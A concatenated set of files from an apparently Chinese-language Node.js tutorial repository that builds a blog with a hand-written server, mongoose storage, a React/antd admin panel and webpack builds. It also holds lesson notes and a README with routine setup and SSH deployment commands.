.blog-author .author { 94 | font-size: 0.8em; 95 | margin-left: 0.4em; } 96 | 97 | .blog-title { 98 | position: relative; } 99 | .blog-title .edit { 100 | position: absolute; 101 | right: 1em; 102 | bottom: 0; 103 | font-size: 0.6em; 104 | color: gray; 105 | text-decoration: underline; } 106 | 107 | /*# sourceMappingURL=about.css.map*/ -------------------------------------------------------------------------------- /public/js/manage/components/category.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 文章分类 3 | * @Author slashhuang 4 | * 17/4/24 5 | */ 6 | import React,{Component} from 'react' 7 | import {Row,Col} from 'antd' 8 | import { Card,Input,Button,Table } from 'antd'; 9 | import { categoryApi,categoryListApi } from '../ajax/' 10 | export default 11 | class Category extends Component{ 12 | state={ 13 | categoryList:[], 14 | newCategory:{} 15 | } 16 | submit(){ 17 | let { newCategory,categoryList } = this.state 18 | categoryApi(newCategory).then(val=>{ 19 | this.setState({ 20 | categoryList:categoryList.concat([newCategory]) 21 | }) 22 | }) 23 | } 24 | componentDidMount(){ 25 | categoryListApi().then(categoryList=>{ 26 | this.setState({categoryList}) 27 | }) 28 | } 29 | genColumn(){ 30 | return [{ 31 | title: '分类名称', 32 | dataIndex: 'name', 33 | key: 'name', 34 | render: name => { name } 35 | }, { 36 | title: '分类ID', 37 | dataIndex: 'id', 38 | key: 'id', 39 | render:id=> {id } 40 | }] 41 | } 42 | render(){ 43 | let { categoryList,newCategory } =this.state 44 | return ( 45 |
46 | 47 | 48 | More} 50 | style={{ width: '80%' }}> 51 | { 52 | do{ 53 | if(categoryList&&categoryList.length>0){ 54 | record.id} 56 | dataSource={categoryList} /> 57 | }else{ 58 | null 59 | } 60 | } 61 | } 62 | 63 | 64 | 65 | More} 67 | style={{ width: '80%' }}> 68 | this.setState({ 70 | newCategory:{ 71 | name:e.target.value, 72 | id:e.target.value 73 | } 74 | })}/> 75 | 76 | 77 | 78 | 79 | 80 | ) 81 | } 82 | } 83 | 84 | -------------------------------------------------------------------------------- /app/api/mongo/index.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 创建model 3 | * @Author slashhuang 4 | * 17/4/26 5 | */ 6 | const mongoose = require('mongoose'); 7 | const { blogSchema,categorySchema } = require('./schema'); 8 | //第一个参数是colleciton的名字 9 | const BlogModel = mongoose.model('Blog', blogSchema) 10 | const CategoryModel = mongoose.model('Category',categorySchema) 11 | exports.$_saveBlog = blog=>{ 12 | // upsert ==> update + insert 13 | let condition = {title:blog.title} 14 | blog.date = new Date().toLocaleString() 15 | //upsert 16 | return BlogModel.findOneAndUpdate(condition,blog,{ 17 | new:true, 18 | upsert:true 19 | }).then(blog=>{ 20 | return { 21 | status:1, 22 | data:blog 23 | } 24 | }) 25 | } 26 | //获取博客详情 27 | exports.$_getBlogDetail = query=>{ 28 | let condition = { 29 | _id:mongoose.Types.ObjectId(query.id) 30 | } 31 | // _id ==> //objectId 32 | return BlogModel.findOne(condition).then(blog=>{ 33 | return { 34 | status:1, 35 | data:blog 36 | } 37 | }) 38 | } 39 | //获取博客列表 40 | exports.$_getBlogList = query=>{ 41 | //{'category.name':'about'} ==> nested query 42 | return BlogModel.find(query).exec().then(blogList=>{ 43 | return { 44 | status:1, 45 | data:blogList 46 | } 47 | }) 48 | } 49 | //删除博客 50 | // id:XXX 51 | exports.$_deleteBlog = query=>{ 52 | let condition = { 53 | _id:mongoose.Types.ObjectId(query.id) 54 | } 55 | return BlogModel.remove(condition).exec().then(blog=>{ 56 | return { 57 | status:1, 58 | data:'删除博客成功' 59 | } 60 | }) 61 | } 62 | 63 | 64 | 65 | 66 | 67 | // const $_saveBlog = (blog)=>{ 68 | // //去重 upsert 69 | // let condition = {title:blog.title} 70 | // let { id } = blog 71 | // if(id){ 72 | // condition = { _id:transObjectId(id)} 73 | // } 74 | // blog.date = new Date().toLocaleString() 75 | // return Blog.findOneAndUpdate(condition,blog,{ 76 | // upsert:true, 77 | // new: true 78 | // }).exec() 79 | // .then(db_blog=>{ 80 | // return { status:1,data:db_blog} 81 | // }) 82 | // } 83 | 84 | exports.$_saveCategory = category=>{ 85 | return CategoryModel.findOneAndUpdate({ 86 | name:category.name 87 | },category,{ 88 | //update and insert 89 | upsert:true, 90 | //无论如何都返回数据 91 | new: true 92 | }).then(_category=>{ 93 | return { 94 | status:1, 95 | data:_category 96 | } 97 | }) 98 | } 99 | 100 | exports.$_getCategoryList = query=>{ 101 | //collection + document的样子 102 | return CategoryModel.find(query).exec().then(categoryList=>{ 103 | return { 104 | status:1, 105 | data:categoryList||[] 106 | } 107 | }) 108 | } 109 | 110 | 111 | -------------------------------------------------------------------------------- /doc/13th_deploy.md: -------------------------------------------------------------------------------- 1 | # 部署node.js应用和Node课复习 2 | 3 | 1. ------------------------npm知识overview------------------------------------ 4 | 5 | node package manager ==> 6 | 7 | package.json ==> json文件 版本号管理 semantic version 8 | 9 | main/bin 10 | 11 | 2. - [http协议概述](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview) 12 | 13 | - request + response 14 | 15 | 3. --------------------------Promise知识-------------- 16 | - new Promise(resolve=>resolve(1)).then(val=>val+1) 17 | - state pending + resolved + rejected 18 | - prototype ==> then catch 19 | - static ==> resolve , reject ,all, race 20 | 21 | 4. ---- 引入stream处理post和put请求 + 采用Promise构建流式中间件 22 | 23 | http.createServer((req,res)=>{res.end('1')}).listen(3000) 24 | 处理报文 25 | 26 | curl -d 'hello=world' localhost:3000 27 | //body 28 | request.on('data',chunk=>{ 29 | s.push(chunk) 30 | }).on('end':()=>{ 31 | 客户端的post请求数据//Buffer.concat(s).toString() 32 | }) 33 | 34 | 5. ---- Buffer和构建Promise 中间件 35 | 36 | - res.end(1) //出错 fs.readFileSync(png) ==> Buffer 37 | 38 | - Buffer.concat() buffer.toString(2) 39 | 40 | 6. ---- 引入EJS中间件处理服务端渲染 41 | 42 | - EJS ==> 如何去实现模板引擎 字符串==> new Function() 43 | - directive<% %>control flow <% if(true)%> <% console.log(1)%> 44 | - escape variable <%- %> xss 过滤 <%= %> 45 | 46 | 47 | 7. ---- 设计博客功能及路由 48 | 49 | 8. ---- cookie + session的实现 50 | 51 | - set-cookie : key=value;httpOnly;Max-Age='10000';Expires= 52 | - session ==> 会话 53 | 54 | 9. ---- 学习mongodb 55 | 56 | - nosql ==> key/value 57 | - mysql ==> 二维表来表明关系 table 58 | 59 | - database ==> collections ==> documents ==> 数据字段 60 | - database ==> tables ==> field ==> 数据 61 | 62 | - mongod ==> mongo dameon; mongo ==> shell client 63 | - CRUD ==> create + replace + update + delete 64 | 65 | 10. ----- 增加mongoose数据存储 66 | 67 | js==> promise风格去构建了mongodb的CRUD 68 | 69 | schema (shape) + model (document) 70 | var new schema({name:string,content:string}) 71 | model(schema) 72 | 73 | 11. ----- 增加管理后台界面 74 | 75 | 12. ----- 管理后台react架构 76 | 77 | ### 部署Node应用知识点 78 | 79 | 1. [ssh](https://en.wikipedia.org/wiki/Secure_Shell) 80 | 2. [pm2](https://github.com/Unitech/pm2) 81 | 3. 操作系统ubuntu 82 | 83 | ### 基本流程 84 | 85 | #### 1. ssh登录远程机器 86 | 87 | ```bash 88 | 89 | # 生成ssh 配置文件 90 | touch ~/.ssh/config 91 | 92 | # 生成ssh公私钥==> git + 服务器 93 | ssh-keygen -f ali_rsa 94 | 95 | # 本机电脑安装ssh-copy-id 96 | ssh-copy-id -i ~/.ssh/ali_rsa.pub root@121.40.149.222 97 | 98 | # 连接远程服务器 99 | ssh aliyun 100 | 101 | ``` 102 | 103 | 104 | #### 2. 安装基本依赖 105 | 106 | ```bash 107 | # 创建mongodb存储地址 108 | mkdir -p ~/data/db 109 | 110 | # 安装依赖 111 | apt-get install git 112 | apt-get install nodejs 113 | apt-get install mongodb 114 | apt install npm 115 | 116 | ``` 117 | 118 | #### 3. 安装项目依赖 119 | 120 | ```bash 121 | 122 | npm config set registry https://registry.npm.taobao.org 123 | npm i --verbose 124 | npm i pm2 -g 125 | pm2 start index.js 126 | 127 | dockert开一节公开课 128 | 129 | ``` 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /public/build/plugin_loader.js: -------------------------------------------------------------------------------- 1 | // webpack 插件配置 2 | const path = require('path'), 3 | webpack = require("webpack"), 4 | CopyWebpackPlugin = require('copy-webpack-plugin'), 5 | ExtractTextPlugin = require("extract-text-webpack-plugin"), 6 | WebpackNotifierPlugin = require('webpack-notifier'); 7 | 8 | exports.plugins =[ 9 | new webpack.ProvidePlugin({ 10 | $: 'jquery' 11 | }), 12 | new ExtractTextPlugin({ 13 | filename: "[name].css", 14 | disable: false, 15 | allChunks: true 16 | }), 17 | new webpack.optimize.CommonsChunkPlugin({ 18 | name: 'common', 19 | minChunks: Infinity 20 | }) 21 | ]; 22 | if(process.env['NODE_ENV']=='prd'){ 23 | exports.plugins.push( 24 | new WebpackNotifierPlugin({ 25 | title: 'Webpack 编译成功', 26 | contentImage: path.resolve(__dirname, '../img/avatar.jpeg'), 27 | alwaysNotify: true 28 | }) 29 | ) 30 | } 31 | exports.loaders = [ 32 | { 33 | test: /\.js[x]?$/, 34 | exclude: /node_modules/, 35 | use: 'babel-loader' 36 | }, 37 | { 38 | test: /\.css$/, 39 | use: ExtractTextPlugin.extract({ 40 | fallback: "style-loader", 41 | use:{ 42 | loader:'css-loader', 43 | options: { 44 | sourceMap: true 45 | } 46 | } 47 | }) 48 | }, 49 | { 50 | test: /\.less$/, 51 | use: ExtractTextPlugin.extract({ 52 | fallback:'style-loader', 53 | use:['css-loader',{ 54 | loader:'less-loader', 55 | options: { 56 | sourceMap: true 57 | } 58 | }] 59 | }) 60 | }, 61 | { 62 | test: /\.scss$/, 63 | use: ExtractTextPlugin.extract({ 64 | fallback:'style-loader', 65 | use:['css-loader',{ 66 | loader:'sass-loader', 67 | options: { 68 | sourceMap: true 69 | } 70 | }] 71 | }) 72 | }, 73 | { 74 | test: /\.(png|jpg|jpeg|gif|woff|woff2|ttf|eot|svg|swf)$/, 75 | use: { 76 | loader:'file-loader', 77 | options:{ 78 | name:'[name]_[sha512:hash:base64:7].[ext]' 79 | } 80 | } 81 | }, 82 | { 83 | test: /\.html/, 84 | use:{ 85 | loader:"html-loader", 86 | options:{ 87 | minimize: false, 88 | attrs:false 89 | } 90 | } 91 | } 92 | ]; 93 | -------------------------------------------------------------------------------- /public/dist/detail.css: -------------------------------------------------------------------------------- 1 | .markdown { 2 | font-size: 14px; } 3 | .markdown * { 4 | word-wrap: break-word; 5 | word-break: break-all; } 6 | .markdown h1 { 7 | font-size: 23px; 8 | margin-top: 14px; } 9 | .markdown h2 { 10 | font-size: 20px; 11 | margin-top: 12px; } 12 | .markdown h3 { 13 | font-size: 17px; 14 | margin-top: 10px; } 15 | .markdown h4 { 16 | font-size: 14px; 17 | margin-top: 8px; } 18 | .markdown h5 { 19 | font-size: 11px; 20 | margin-top: 6px; } 21 | .markdown h6 { 22 | font-size: 8px; 23 | margin-top: 4px; } 24 | .markdown p { 25 | font-size: 16px; 26 | line-height: 1.7em; } 27 | .markdown pre code { 28 | width: 100%; 29 | display: block; 30 | color: #839496; } 31 | .markdown code { 32 | display: inline-block; 33 | background: #002b36; 34 | color: #108ee9; 35 | padding: 0.1em 0.5em; } 36 | .markdown blockquote { 37 | border-left: 0.4em solid #efd5b8; 38 | margin: .8em 0 .8em 1%; 39 | padding-left: 1%; 40 | line-height: 1.5; 41 | color: #808080; } 42 | .markdown a { 43 | color: #108ee9; 44 | background: transparent; 45 | text-decoration: none; 46 | outline: none; 47 | cursor: pointer; 48 | -webkit-transition: color .3s ease; 49 | transition: color .3s ease; } 50 | .markdown ol { 51 | display: block; 52 | list-style-type: decimal; 53 | padding-left: 1em; } 54 | .markdown ol li { 55 | list-style: decimal; } 56 | 57 | .blog-detail, .widgets { 58 | float: left; 59 | background: #fff; } 60 | 61 | .blog-detail { 62 | padding: 1.5em 4%; } 63 | 64 | @media screen and (min-width: 800px) { 65 | .blog-detail { 66 | width: 70%; } 67 | .widgets { 68 | width: 30%; } } 69 | 70 | @media screen and (min-width: 700px) and (max-width: 800px) { 71 | .blog-detail { 72 | width: 60%; } 73 | .widgets { 74 | width: 40%; } } 75 | 76 | @media screen and (max-width: 700px) { 77 | .blog-detail { 78 | width: 100%; } 79 | .widgets { 80 | width: 0%; } } 81 | 82 | .blog-content { 83 | padding: 1em 0; 84 | border-bottom: 1px solid #ddd; } 85 | 86 | .blog-head { 87 | border-bottom: 1px solid #ddd; } 88 | 89 | .blog-author { 90 | text-align: right; } 91 | .blog-author .date { 92 | font-size: 0.8em; } 93 | .blog-author .author { 94 | font-size: 0.8em; 95 | margin-left: 0.4em; } 96 | 97 | .blog-title { 98 | position: relative; } 99 | .blog-title .edit { 100 | position: absolute; 101 | right: 1em; 102 | bottom: 0; 103 | font-size: 0.6em; 104 | color: gray; 105 | text-decoration: underline; } 106 | .blog-detail, .widgets { 107 | float: left; 108 | background: #fff; } 109 | 110 | .blog-detail { 111 | padding: 1.5em 4%; } 112 | 113 | @media screen and (min-width: 800px) { 114 | .blog-detail { 115 | width: 70%; } 116 | .widgets { 117 | width: 30%; } } 118 | 119 | @media screen and (min-width: 700px) and (max-width: 800px) { 120 | .blog-detail { 121 | width: 60%; } 122 | .widgets { 123 | width: 40%; } } 124 | 125 | @media screen and (max-width: 700px) { 126 | .blog-detail { 127 | width: 100%; } 128 | .widgets { 129 | width: 0%; } } 130 | 131 | /*# sourceMappingURL=detail.css.map*/ -------------------------------------------------------------------------------- /public/js/manage/components/manage.js: -------------------------------------------------------------------------------- 1 | /* 2 | * 文章管理 3 | * @Author slashhuang 4 | * 17/4/28 5 | */ 6 | import React,{Component} from 'react' 7 | import {Row,Col} from 'antd' 8 | import { Button,Table,Modal,notification } from 'antd'; 9 | import { blogListApi,deleteBlogApi } from '../ajax/' 10 | export default 11 | class Category extends Component{ 12 | state={ 13 | blogList:[], 14 | operateData:null, 15 | isOperating:false 16 | } 17 | componentDidMount(){ 18 | blogListApi().then(blogList=>{ 19 | this.setState({blogList}) 20 | }) 21 | } 22 | genColumn(){ 23 | return [{ 24 | title: '博客名称', 25 | dataIndex: 'title', 26 | key: 'title', 27 | render: title => { title } 28 | }, { 29 | title: '博客分类', 30 | dataIndex: 'id', 31 | key: 'id', 32 | render:id=> {id } 33 | }, 34 | { 35 | title: '更新时间', 36 | dataIndex: 'date', 37 | key: 'date', 38 | render:id=> {id } 39 | }, 40 | { 41 | title: '字数', 42 | dataIndex: 'content', 43 | key: 'count', 44 | render:content=> {content.length} 45 | }, 46 | { 47 | title: '操作', 48 | dataIndex:'', 49 | key: '_id', 50 | render:data=> { 51 | let { _id } = data 52 | return ( 53 |
54 | 59 | 62 |
63 | ) 64 | } 65 | }] 66 | } 67 | showDialog=data=>{ 68 | this.setState({ 69 | isOperating:true, 70 | operateData:data 71 | }) 72 | } 73 | cancelDelete=()=>{ 74 | this.setState({ 75 | isOperating:false, 76 | operateData:null 77 | }) 78 | } 79 | deleteBlog=_id=>{ 80 | deleteBlogApi(_id).then(data=>{ 81 | notification.open({ 82 | message: '通知', 83 | description: JSON.stringify(data), 84 | }); 85 | this.cancelDelete() 86 | }) 87 | } 88 | popDialog(isOperating,operateData){ 89 | if(!isOperating){ 90 | return null 91 | } 92 | let { title,_id }= operateData 93 | return this.deleteBlog(_id)} 97 | onCancel={this.cancelDelete}> 98 | 您即将删除博客 99 | 101 | {title} 102 | 103 | 104 | } 105 | render(){ 106 | let { blogList,isOperating,operateData } =this.state 107 | return ( 108 |
109 |
111 | {this.popDialog(isOperating,operateData)} 112 | 113 | ) 114 | } 115 | } 116 | 117 | -------------------------------------------------------------------------------- /public/dist/manage.css: -------------------------------------------------------------------------------- 1 | .menu-left { 2 | position: absolute; 3 | left: 0; 4 | top: 0; } 5 | 6 | .container { 7 | position: relative; } 8 | 9 | .content { 10 | margin-left: 240px; 11 | padding: 20px; } 12 | 13 | .mark-content { 14 | width: 100%; 15 | height: 400px !important; 16 | border-radius: 5px; 17 | border: 1px solid gray; } 18 | 19 | .mark-content-preview { 20 | width: 100%; 21 | border-radius: 5px; 22 | border: 1px solid gray; 23 | min-height: 400px !important; } 24 | 25 | .markdown { 26 | margin-top: 20px; 27 | background: #fff; } 28 | 29 | .submit-btn { 30 | margin-top: 20px; } 31 | 32 | .title { 33 | font-size: 18px; 34 | border-bottom: 1px solid gray; } 35 | .markdown { 36 | font-size: 14px; } 37 | .markdown * { 38 | word-wrap: break-word; 39 | word-break: break-all; } 40 | .markdown h1 { 41 | font-size: 23px; 42 | margin-top: 14px; } 43 | .markdown h2 { 44 | font-size: 20px; 45 | margin-top: 12px; } 46 | .markdown h3 { 47 | font-size: 17px; 48 | margin-top: 10px; } 49 | .markdown h4 { 50 | font-size: 14px; 51 | margin-top: 8px; } 52 | .markdown h5 { 53 | font-size: 11px; 54 | margin-top: 6px; } 55 | .markdown h6 { 56 | font-size: 8px; 57 | margin-top: 4px; } 58 | .markdown p { 59 | font-size: 16px; 60 | line-height: 1.7em; } 61 | .markdown pre code { 62 | width: 100%; 63 | display: block; 64 | color: #839496; } 65 | .markdown code { 66 | display: inline-block; 67 | background: #002b36; 68 | color: #108ee9; 69 | padding: 0.1em 0.5em; } 70 | .markdown blockquote { 71 | border-left: 0.4em solid #efd5b8; 72 | margin: .8em 0 .8em 1%; 73 | padding-left: 1%; 74 | line-height: 1.5; 75 | color: #808080; } 76 | .markdown a { 77 | color: #108ee9; 78 | background: transparent; 79 | text-decoration: none; 80 | outline: none; 81 | cursor: pointer; 82 | -webkit-transition: color .3s ease; 83 | transition: color .3s ease; } 84 | .markdown ol { 85 | display: block; 86 | list-style-type: decimal; 87 | padding-left: 1em; } 88 | .markdown ol li { 89 | list-style: decimal; } 90 | 91 | .blog-detail, .widgets { 92 | float: left; 93 | background: #fff; } 94 | 95 | .blog-detail { 96 | padding: 1.5em 4%; } 97 | 98 | @media screen and (min-width: 800px) { 99 | .blog-detail { 100 | width: 70%; } 101 | .widgets { 102 | width: 30%; } } 103 | 104 | @media screen and (min-width: 700px) and (max-width: 800px) { 105 | .blog-detail { 106 | width: 60%; } 107 | .widgets { 108 | width: 40%; } } 109 | 110 | @media screen and (max-width: 700px) { 111 | .blog-detail { 112 | width: 100%; } 113 | .widgets { 114 | width: 0%; } } 115 | 116 | .blog-content { 117 | padding: 1em 0; 118 | border-bottom: 1px solid #ddd; } 119 | 120 | .blog-head { 121 | border-bottom: 1px solid #ddd; } 122 | 123 | .blog-author { 124 | text-align: right; } 125 | .blog-author .date { 126 | font-size: 0.8em; } 127 | .blog-author .author { 128 | font-size: 0.8em; 129 | margin-left: 0.4em; } 130 | 131 | .blog-title { 132 | position: relative; } 133 | .blog-title .edit { 134 | position: absolute; 135 | right: 1em; 136 | bottom: 0; 137 | font-size: 0.6em; 138 | color: gray; 139 | text-decoration: underline; } 140 | 141 | /*# sourceMappingURL=manage.css.map*/ -------------------------------------------------------------------------------- /public/dist/list.css: -------------------------------------------------------------------------------- 1 | .markdown { 2 | font-size: 14px; } 3 | .markdown * { 4 | word-wrap: break-word; 5 | word-break: break-all; } 6 | .markdown h1 { 7 | font-size: 23px; 8 | margin-top: 14px; } 9 | .markdown h2 { 10 | font-size: 20px; 11 | margin-top: 12px; } 12 | .markdown h3 { 13 | font-size: 17px; 14 | margin-top: 10px; } 15 | .markdown h4 { 16 | font-size: 14px; 17 | margin-top: 8px; } 18 | .markdown h5 { 19 | font-size: 11px; 20 | margin-top: 6px; } 21 | .markdown h6 { 22 | font-size: 8px; 23 | margin-top: 4px; } 24 | .markdown p { 25 | font-size: 16px; 26 | line-height: 1.7em; } 27 | .markdown pre code { 28 | width: 100%; 29 | display: block; 30 | color: #839496; } 31 | .markdown code { 32 | display: inline-block; 33 | background: #002b36; 34 | color: #108ee9; 35 | padding: 0.1em 0.5em; } 36 | .markdown blockquote { 37 | border-left: 0.4em solid #efd5b8; 38 | margin: .8em 0 .8em 1%; 39 | padding-left: 1%; 40 | line-height: 1.5; 41 | color: #808080; } 42 | .markdown a { 43 | color: #108ee9; 44 | background: transparent; 45 | text-decoration: none; 46 | outline: none; 47 | cursor: pointer; 48 | -webkit-transition: color .3s ease; 49 | transition: color .3s ease; } 50 | .markdown ol { 51 | display: block; 52 | list-style-type: decimal; 53 | padding-left: 1em; } 54 | .markdown ol li { 55 | list-style: decimal; } 56 | 57 | .blog-detail, .widgets { 58 | float: left; 59 | background: #fff; } 60 | 61 | .blog-detail { 62 | padding: 1.5em 4%; } 63 | 64 | @media screen and (min-width: 800px) { 65 | .blog-detail { 66 | width: 70%; } 67 | .widgets { 68 | width: 30%; } } 69 | 70 | @media screen and (min-width: 700px) and (max-width: 800px) { 71 | .blog-detail { 72 | width: 60%; } 73 | .widgets { 74 | width: 40%; } } 75 | 76 | @media screen and (max-width: 700px) { 77 | .blog-detail { 78 | width: 100%; } 79 | .widgets { 80 | width: 0%; } } 81 | 82 | .blog-content { 83 | padding: 1em 0; 84 | border-bottom: 1px solid #ddd; } 85 | 86 | .blog-head { 87 | border-bottom: 1px solid #ddd; } 88 | 89 | .blog-author { 90 | text-align: right; } 91 | .blog-author .date { 92 | font-size: 0.8em; } 93 | .blog-author .author { 94 | font-size: 0.8em; 95 | margin-left: 0.4em; } 96 | 97 | .blog-title { 98 | position: relative; } 99 | .blog-title .edit { 100 | position: absolute; 101 | right: 1em; 102 | bottom: 0; 103 | font-size: 0.6em; 104 | color: gray; 105 | text-decoration: underline; } 106 | .blog-detail, .widgets { 107 | float: left; 108 | background: #fff; } 109 | 110 | .blog-detail { 111 | padding: 1.5em 4%; } 112 | 113 | @media screen and (min-width: 800px) { 114 | .blog-detail { 115 | width: 70%; } 116 | .widgets { 117 | width: 30%; } } 118 | 119 | @media screen and (min-width: 700px) and (max-width: 800px) { 120 | .blog-detail { 121 | width: 60%; } 122 | .widgets { 123 | width: 40%; } } 124 | 125 | @media screen and (max-width: 700px) { 126 | .blog-detail { 127 | width: 100%; } 128 | .widgets { 129 | width: 0%; } } 130 | 131 | .spinner { 132 | text-align: center; 133 | width: 100%; 134 | padding-top: 40px; 135 | font-size: 16px; } 136 | .spinner .ant-spin-dot { 137 | margin: auto; } 138 | 139 | .container .blog-detail { 140 | margin: 20px auto; 141 | padding: 1.5em 4%; } 142 | 143 | /*# sourceMappingURL=list.css.map*/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pure-node-notebook-step 2 | 3 | ## 前言 4 | 5 | 本项目是从零到一打造个人博客系统的项目,不依赖任何第三方框架,手写Node.js处理中间件。 6 | 7 | 博客的前端项目可以参考独立的[pure-node-notebook-fe](https://github.com/slashhuang/pure-node-notebook-fe) 8 | 9 | 10 | 您可以通过`git checkout 分支`来学习不同阶段的node代码。 11 | 12 | **项目架构** 13 | 14 | ```bash 15 | 16 | |- app node中间件及服务 17 | | | 18 | | |- 技术选型 promise + ejs(模板引擎) 19 | | 20 | | 21 | |- public 前端 22 | | | 23 | | |- 技术选型 ant-design + react项目 24 | | 25 | | 26 | |- db.sh 运行mongodb 27 | | | 28 | | |- 技术选型 mongoose 29 | | 30 | |- index.js 程序启动入口 31 | 32 | ``` 33 | 34 | 35 | **运行项目** 36 | 37 | ```bash 38 | 39 | git clone git@github.com:slashhuang/pure-node-notebook-step.git 40 | 41 | # start mongodb 42 | sh ./db.sh 43 | 44 | # start node.js code 45 | npm install --verbose 46 | npm start 47 | 48 | # 初始化前端项目 49 | git clone https://github.com/slashhuang/pure-node-notebook-fe.git public 50 | 51 | # start front-end code 52 | 53 | cd public 54 | 55 | # 开发环境 npm start 56 | # 生产环境 npm run build 57 | 58 | ``` 59 | 60 | ## 第一课 项目初始化http服务 61 | 62 | npm、package.json、node_modules及项目架构初始化 63 | 64 | ```bash 65 | git clone git@github.com:slashhuang/pure-node-notebook-step.git 66 | git checkout lesson1 67 | npm install 68 | npm start 69 | ``` 70 | 71 | ## 第二课 创建静态资源服务器 72 | 73 | http协议、fs、path模块及创建项目静态服务器 74 | 75 | ```bash 76 | git checkout lesson2 77 | npm install 78 | npm start 79 | ``` 80 | 81 | ## 第三课 引入对接前端ajax的api服务体系 82 | 83 | 引入Promise/url架构项目 84 | 85 | 引入对接前端ajax的api服务体系 86 | 87 | ```bash 88 | git checkout lesson3 89 | npm install 90 | npm start 91 | ``` 92 | 93 | ## 第四课 引入stream和Promise 94 | 95 | 引入Promise来连接static-server api-server 96 | 97 | 引入Promise/url/querystring架构项目 98 | 99 | 抽象request数据的context模型中间件url-parser 100 | 101 | ```bash 102 | git checkout lesson4 103 | npm install 104 | npm start 105 | ``` 106 | 107 | ## 第五课 设计框架API及Promise中间件逻辑 108 | 109 | 1. 设计expres和koa的api风格,模拟`use` `callback`方法。 110 | 111 | 2. 将request和response抽象为一个引用对象。 112 | 113 | 3. Buffer讲解 114 | 115 | ```bash 116 | git checkout lesson5 117 | npm install 118 | npm start 119 | ``` 120 | 121 | ## 第六课 引入EJS模板引擎 122 | 123 | 1. 引入EJS中间件处理服务端渲染 124 | 125 | 2. 引入webpack2构建前端代码 126 | 127 | ```bash 128 | git checkout lesson6 129 | npm install 130 | npm start 131 | ``` 132 | 133 | ## 第七课 实现Node动态路由/重定向/页面模块划分 134 | 135 | 1. 实现Node动态路由/重定向/页面模块划分 136 | 137 | 2. 页面框架 138 | 139 | - header: 头像 + 导航:首页 + 关于 + 博客列表 + 写博客(权限控制) + 搜索 140 | - footer: 友情链接 + github + 知乎 + 掘金 + copyright + 回到顶部 141 | - 内容区 :见如下内容排布 142 | 143 | 3. 内容排布 144 | 145 | |-- /: 首页 博客列表 + 个人展示 146 | 147 | |-- /list: 博客列表 博客分类 + 博客列表 148 | 149 | |-- /write: 写博客 分两屏 markdown编辑器 + 预览区 150 | 151 | |-- /about/ 关于 自由发挥 152 | 153 | |-- url非法: 重定向到首页 154 | 155 | 156 | ```bash 157 | git checkout lesson7 158 | npm install 159 | npm start 160 | ``` 161 | 162 | ## 第八课 采用cookie实现用户授信 163 | 164 | 1. 学习cookie来实现简化版的登录登出 165 | 166 | 2. 介绍responsive css基础 167 | 168 | ```bash 169 | git checkout lesson8 170 | npm install 171 | npm start 172 | ``` 173 | 174 | 175 | ## 第九课 引入mongodb准备数据库存储 176 | 177 | 1. 学习关系型和非关系型数据库 178 | 179 | 2. 学习mongodb基本知识 180 | 181 | [参考mongo-panda项目](https://github.com/slashhuang/mongo-panda) 182 | 183 | ```bash 184 | git checkout lesson9 185 | npm install 186 | npm start 187 | ``` 188 | 189 | ## 第十课 引入mongoose和submodule 190 | 191 | 1. 引入submodule管理前端静态资源 192 | 193 | 2. 编写router处理前端ajax请求 194 | 195 | 3. 编写数据库存储逻辑 196 | 197 | 博客的前端项目在[pure-node-notebook-fe](https://github.com/slashhuang/pure-node-notebook-fe) 198 | 199 | ```bash 200 | git checkout lesson10 201 | npm install 202 | npm start 203 | ``` 204 | 205 | ## 第十一课 采用mongoose来处理管理后台博客CRUD功能 206 | 207 | 1. 增加博客主功能 208 | 209 | ```bash 210 | 211 | # 博客列表及详情 212 | 213 | 1. '/blogDetail.action' =get=> 获取博客详情 214 | 215 | 2. '/blogList.action' =get=> 获取博客列表 216 | 217 | 3. '/blog.action' =post=> 增加或者更新博客 218 | 219 | 4. '/deleteBlog.action' =get=> 删除博客 220 | 221 | # 博客分类相关 222 | 223 | 5. '/categoryList.action'=get=> 获取博客分类 224 | 225 | 6. '/category.action' =post=> 增加或者更新博客分类 226 | ``` 227 | 228 | 2. 编写数据库存储逻辑 229 | 230 | 231 | 博客的前端项目在[pure-node-notebook-fe](https://github.com/slashhuang/pure-node-notebook-fe) 232 | 233 | ```bash 234 | git checkout lesson11 235 | npm install 236 | npm start 237 | ``` 238 | 239 | ## 第十二课 ssh部署阿里云ECS服务器 240 | 241 | ```bash 242 | git checkout lesson12 243 | npm install 244 | npm start 245 | ``` 246 | 247 | ## 参考资料 248 | [mongo shell](https://docs.mongodb.com/manual/reference/mongo-shell/) 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | -------------------------------------------------------------------------------- /public/css/header_footer/index.scss: -------------------------------------------------------------------------------- 1 | body{ 2 | font-size:16px; 3 | background: #f2f2f2 !important; 4 | min-height: 100%; 5 | } 6 | //加载 7 | .spinner{ 8 | text-align: center; 9 | width: 100%; 10 | padding-top:40px; 11 | font-size:16px; 12 | .ant-spin-dot{ 13 | margin:auto 14 | } 15 | } 16 | //主内容区模块 17 | .main-module{ 18 | min-height:55%; 19 | max-width: 94%; 20 | margin:20px auto; 21 | } 22 | .clear-fix{ 23 | &:after{ 24 | content:''; 25 | clear:both; 26 | display:block; 27 | } 28 | } 29 | $s-screen:480px; //适配移动端 30 | $m-screen:700px; //适配ipad 31 | $b-screen:800px; //适配PC 32 | /* @media screen and (min-width:100px) and (max-width:800px){ 33 | // float ==> block + inline-block + flex 34 | // }*/ 35 | .footer{ 36 | background:linear-gradient( 45deg, #000, coral ); 37 | padding:5px 30px; 38 | .nav{ 39 | margin-left:180px; 40 | } 41 | .personal{ 42 | left: 130px; 43 | position:absolute; 44 | width:50px; 45 | height:130px; 46 | @media screen and (min-width:$b-screen){ 47 | & { 48 | width:300px; 49 | .motto{ 50 | padding-left:30px; 51 | top:20px; 52 | } 53 | } 54 | } 55 | @media screen and (min-width:$m-screen) and (max-width: $b-screen){ 56 | & { 57 | width:200px; 58 | .motto{ 59 | padding-left:20px; 60 | top:15px; 61 | } 62 | } 63 | } 64 | @media screen and (min-width:$s-screen) and (max-width: $m-screen){ 65 | & { 66 | width:140px; 67 | .motto{ 68 | padding-left:10px; 69 | top:5px; 70 | } 71 | } 72 | } 73 